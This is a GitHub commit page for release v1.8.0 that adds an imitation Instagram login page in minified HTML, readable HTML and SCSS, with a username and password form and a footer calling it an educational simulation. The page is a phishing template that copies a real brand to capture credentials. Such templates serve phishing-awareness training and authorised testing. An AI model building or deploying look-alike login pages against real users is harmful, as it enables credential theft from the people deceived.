-
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #9 from CodyTolene/version-1.8.0
v1.8.0
- Loading branch information
Showing
7 changed files
with
207 additions
and
17 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1 @@ | ||
| <!doctype html><html lang="en"><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Login • Instagram</title><style>body{align-items:center;background-color:#f2f4f7;color:#111;display:flex;flex-direction:column;font-family:sans-serif;font-size:14px;height:100vh;justify-content:center;margin:0;padding:0}header{align-items:center;display:flex;flex-direction:row;justify-content:center}header svg:last-of-type{align-self:flex-end}main{background-color:#fff;border-radius:.5rem;padding:1rem;width:320px;box-shadow:0 2px 4px rgba(0,0,0,.1),0 8px 16px rgba(0,0,0,.1);width:400px}@media(max-width:768px){main{box-sizing:border-box;box-shadow:none;height:100%;width:100%}}main>section h2{text-align:center;font-weight:600;margin:1rem 0}main>section form{margin-top:1rem}main>section form input{border-radius:4px;border:1px solid #ccc;box-sizing:border-box;font-size:1rem;margin-bottom:1rem;padding:.65rem;width:100%}main>section form button{background:#0095f6;border-radius:.5rem;border:none;color:#fff;cursor:pointer;font-size:1rem;font-weight:600;padding:.75rem 1rem;width:100%}main>section form button:hover{background:#166fe5}main>section form a{display:block;color:#304cb2;text-decoration:none;margin:1rem auto;font-size:.75rem;text-align:center}footer{bottom:0;color:#111;font-size:.75rem;padding:.5rem 0;position:absolute;text-align:center;width:100%}footer p{margin:0}</style><main><header><svg height="124" role="img" viewBox="0 0 24 24" width="124" xmlns="http://www.w3.org/2000/svg"><title>Instagram</title><path fill="#F56B5B" d="M7.0301.084c-1.2768.0602-2.1487.264-2.911.5634-.7888.3075-1.4575.72-2.1228 1.3877-.6652.6677-1.075 1.3368-1.3802 2.127-.2954.7638-.4956 1.6365-.552 2.914-.0564 1.2775-.0689 1.6882-.0626 4.947.0062 3.2586.0206 3.6671.0825 4.9473.061 1.2765.264 2.1482.5635 2.9107.308.7889.72 1.4573 1.388 2.1228.6679.6655 1.3365 1.0743 2.1285 1.38.7632.295 1.6361.4961 2.9134.552 1.2773.056 1.6884.069 4.9462.0627 3.2578-.0062 3.668-.0207 4.9478-.0814 1.28-.0607 2.147-.2652 2.9098-.5633.7889-.3086 1.4578-.72 2.1228-1.3881.665-.6682 1.0745-1.3378 1.3795-2.1284.2957-.7632.4966-1.636.552-2.9124.056-1.2809.0692-1.6898.063-4.948-.0063-3.2583-.021-3.6668-.0817-4.9465-.0607-1.2797-.264-2.1487-.5633-2.9117-.3084-.7889-.72-1.4568-1.3876-2.1228C21.2982 1.33 20.628.9208 19.8378.6165 19.074.321 18.2017.1197 16.9244.0645 15.6471.0093 15.236-.005 11.977.0014 8.718.0076 8.31.0215 7.0301.0839m.1402 21.6932c-1.17-.0509-1.8053-.2453-2.2287-.408-.5606-.216-.96-.4771-1.3819-.895-.422-.4178-.6811-.8186-.9-1.378-.1644-.4234-.3624-1.058-.4171-2.228-.0595-1.2645-.072-1.6442-.079-4.848-.007-3.2037.0053-3.583.0607-4.848.05-1.169.2456-1.805.408-2.2282.216-.5613.4762-.96.895-1.3816.4188-.4217.8184-.6814 1.3783-.9003.423-.1651 1.0575-.3614 2.227-.4171 1.2655-.06 1.6447-.072 4.848-.079 3.2033-.007 3.5835.005 4.8495.0608 1.169.0508 1.8053.2445 2.228.408.5608.216.96.4754 1.3816.895.4217.4194.6816.8176.9005 1.3787.1653.4217.3617 1.056.4169 2.2263.0602 1.2655.0739 1.645.0796 4.848.0058 3.203-.0055 3.5834-.061 4.848-.051 1.17-.245 1.8055-.408 2.2294-.216.5604-.4763.96-.8954 1.3814-.419.4215-.8181.6811-1.3783.9-.4224.1649-1.0577.3617-2.2262.4174-1.2656.0595-1.6448.072-4.8493.079-3.2045.007-3.5825-.006-4.848-.0608M16.953 5.5864A1.44 1.44 0 1 0 18.39 4.144a1.44 1.44 0 0 0-1.437 1.4424M5.8385 12.012c.0067 3.4032 2.7706 6.1557 6.173 6.1493 3.4026-.0065 6.157-2.7701 6.1506-6.1733-.0065-3.4032-2.771-6.1565-6.174-6.1498-3.403.0067-6.156 2.771-6.1496 6.1738M8 12.0077a4 4 0 1 1 4.008 3.9921A3.9996 3.9996 0 0 1 8 12.0077"/></svg></header><section><h2>Log into Instagram</h2><form action="/login" method="GET"><input id="username" name="username" placeholder="Phone number, username, or email" required type="text"> <input id="password" name="password" placeholder="Password" required type="password"> <button aria-label="Continue to login" type="submit" value="Login">Log In</button> <a href>Forgot password?</a></form></section></main><footer><p>This is a simulated template for educational purposes only. Not affiliated with or endorsed by any brand.</footer> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,67 @@ | ||
| <!doctype html> | ||
| <html lang="en"> | ||
| <head> | ||
| <meta charset="UTF-8" /> | ||
| <meta | ||
| name="viewport" | ||
| content="width=device-width, initial-scale=1.0" | ||
| /> | ||
| <title>Login • Instagram</title> | ||
| </head> | ||
| <body> | ||
| <main> | ||
| <header> | ||
| <svg | ||
| height="124" | ||
| role="img" | ||
| viewBox="0 0 24 24" | ||
| width="124" | ||
| xmlns="http://www.w3.org/2000/svg" | ||
| > | ||
| <!-- https://simpleicons.org/?q=instagram --> | ||
| <title>Instagram</title> | ||
| <path | ||
| fill="#F56B5B" | ||
| d="M7.0301.084c-1.2768.0602-2.1487.264-2.911.5634-.7888.3075-1.4575.72-2.1228 1.3877-.6652.6677-1.075 1.3368-1.3802 2.127-.2954.7638-.4956 1.6365-.552 2.914-.0564 1.2775-.0689 1.6882-.0626 4.947.0062 3.2586.0206 3.6671.0825 4.9473.061 1.2765.264 2.1482.5635 2.9107.308.7889.72 1.4573 1.388 2.1228.6679.6655 1.3365 1.0743 2.1285 1.38.7632.295 1.6361.4961 2.9134.552 1.2773.056 1.6884.069 4.9462.0627 3.2578-.0062 3.668-.0207 4.9478-.0814 1.28-.0607 2.147-.2652 2.9098-.5633.7889-.3086 1.4578-.72 2.1228-1.3881.665-.6682 1.0745-1.3378 1.3795-2.1284.2957-.7632.4966-1.636.552-2.9124.056-1.2809.0692-1.6898.063-4.948-.0063-3.2583-.021-3.6668-.0817-4.9465-.0607-1.2797-.264-2.1487-.5633-2.9117-.3084-.7889-.72-1.4568-1.3876-2.1228C21.2982 1.33 20.628.9208 19.8378.6165 19.074.321 18.2017.1197 16.9244.0645 15.6471.0093 15.236-.005 11.977.0014 8.718.0076 8.31.0215 7.0301.0839m.1402 21.6932c-1.17-.0509-1.8053-.2453-2.2287-.408-.5606-.216-.96-.4771-1.3819-.895-.422-.4178-.6811-.8186-.9-1.378-.1644-.4234-.3624-1.058-.4171-2.228-.0595-1.2645-.072-1.6442-.079-4.848-.007-3.2037.0053-3.583.0607-4.848.05-1.169.2456-1.805.408-2.2282.216-.5613.4762-.96.895-1.3816.4188-.4217.8184-.6814 1.3783-.9003.423-.1651 1.0575-.3614 2.227-.4171 1.2655-.06 1.6447-.072 4.848-.079 3.2033-.007 3.5835.005 4.8495.0608 1.169.0508 1.8053.2445 2.228.408.5608.216.96.4754 1.3816.895.4217.4194.6816.8176.9005 1.3787.1653.4217.3617 1.056.4169 2.2263.0602 1.2655.0739 1.645.0796 4.848.0058 3.203-.0055 3.5834-.061 4.848-.051 1.17-.245 1.8055-.408 2.2294-.216.5604-.4763.96-.8954 1.3814-.419.4215-.8181.6811-1.3783.9-.4224.1649-1.0577.3617-2.2262.4174-1.2656.0595-1.6448.072-4.8493.079-3.2045.007-3.5825-.006-4.848-.0608M16.953 5.5864A1.44 1.44 0 1 0 18.39 4.144a1.44 1.44 0 0 0-1.437 1.4424M5.8385 12.012c.0067 3.4032 2.7706 6.1557 6.173 6.1493 3.4026-.0065 6.157-2.7701 6.1506-6.1733-.0065-3.4032-2.771-6.1565-6.174-6.1498-3.403.0067-6.156 2.771-6.1496 6.1738M8 12.0077a4 4 0 1 1 4.008 3.9921A3.9996 3.9996 0 0 1 8 12.0077" | ||
| /> | ||
| </svg> | ||
| </header> | ||
| <section> | ||
| <h2>Log into Instagram</h2> | ||
| <form | ||
| action="/login" | ||
| method="GET" | ||
| > | ||
| <input | ||
| id="username" | ||
| name="username" | ||
| placeholder="Phone number, username, or email" | ||
| required | ||
| type="text" | ||
| /> | ||
| <input | ||
| id="password" | ||
| name="password" | ||
| placeholder="Password" | ||
| required | ||
| type="password" | ||
| /> | ||
| <button | ||
| aria-label="Continue to login" | ||
| type="submit" | ||
| value="Login" | ||
| > | ||
| Log In | ||
| </button> | ||
| <a href>Forgot password?</a> | ||
| </form> | ||
| </section> | ||
| </main> | ||
| <footer> | ||
| <p> | ||
| This is a simulated template for educational purposes only. Not | ||
| affiliated with or endorsed by any brand. | ||
| </p> | ||
| </footer> | ||
| </body> | ||
| </html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,116 @@ | ||
| // Colors | ||
| $color-background: #f2f4f7; | ||
| $color-black-light: #111111; | ||
| $color-blue-background: #0095f6; | ||
| $color-blue-hover: #166fe5; | ||
| $color-blue: #304cb2; | ||
| $color-gray-light: #cccccc; | ||
| $color-gray: #999999; | ||
| $color-shadow: rgba(0, 0, 0, 0.1); | ||
| $color-white: #ffffff; | ||
|
|
||
| body { | ||
| align-items: center; | ||
| background-color: $color-background; | ||
| color: $color-black-light; | ||
| display: flex; | ||
| flex-direction: column; | ||
| font-family: sans-serif; | ||
| font-size: 14px; | ||
| height: 100vh; | ||
| justify-content: center; | ||
| margin: 0; | ||
| padding: 0; | ||
| } | ||
|
|
||
| header { | ||
| align-items: center; | ||
| display: flex; | ||
| flex-direction: row; | ||
| justify-content: center; | ||
|
|
||
| svg { | ||
| &:last-of-type { | ||
| align-self: flex-end; | ||
| } | ||
| } | ||
| } | ||
|
|
||
| main { | ||
| background-color: $color-white; | ||
| border-radius: 0.5rem; | ||
| padding: 1rem; | ||
| width: 320px; | ||
| box-shadow: | ||
| 0px 2px 4px $color-shadow, | ||
| 0px 8px 16px $color-shadow; | ||
| width: 400px; | ||
|
|
||
| @media (max-width: 768px) { | ||
| box-sizing: border-box; | ||
| box-shadow: none; | ||
| height: 100%; | ||
| width: 100%; | ||
| } | ||
|
|
||
| > section { | ||
| h2 { | ||
| text-align: center; | ||
| font-weight: 600; | ||
| margin: 1rem 0; | ||
| } | ||
|
|
||
| form { | ||
| margin-top: 1rem; | ||
|
|
||
| input { | ||
| border-radius: 4px; | ||
| border: 1px solid $color-gray-light; | ||
| box-sizing: border-box; | ||
| font-size: 1rem; | ||
| margin-bottom: 1rem; | ||
| padding: 0.65rem; | ||
| width: 100%; | ||
| } | ||
|
|
||
| button { | ||
| background: $color-blue-background; | ||
| border-radius: 0.5rem; | ||
| border: none; | ||
| color: $color-white; | ||
| cursor: pointer; | ||
| font-size: 1rem; | ||
| font-weight: 600; | ||
| padding: 0.75rem 1rem; | ||
| width: 100%; | ||
|
|
||
| &:hover { | ||
| background: $color-blue-hover; | ||
| } | ||
| } | ||
|
|
||
| a { | ||
| display: block; | ||
| color: $color-blue; | ||
| text-decoration: none; | ||
| margin: 1rem auto; | ||
| font-size: 0.75rem; | ||
| text-align: center; | ||
| } | ||
| } | ||
| } | ||
| } | ||
|
|
||
| footer { | ||
| bottom: 0; | ||
| color: $color-black-light; | ||
| font-size: 0.75rem; | ||
| padding: 0.5rem 0; | ||
| position: absolute; | ||
| text-align: center; | ||
| width: 100%; | ||
|
|
||
| p { | ||
| margin: 0; | ||
| } | ||
| } |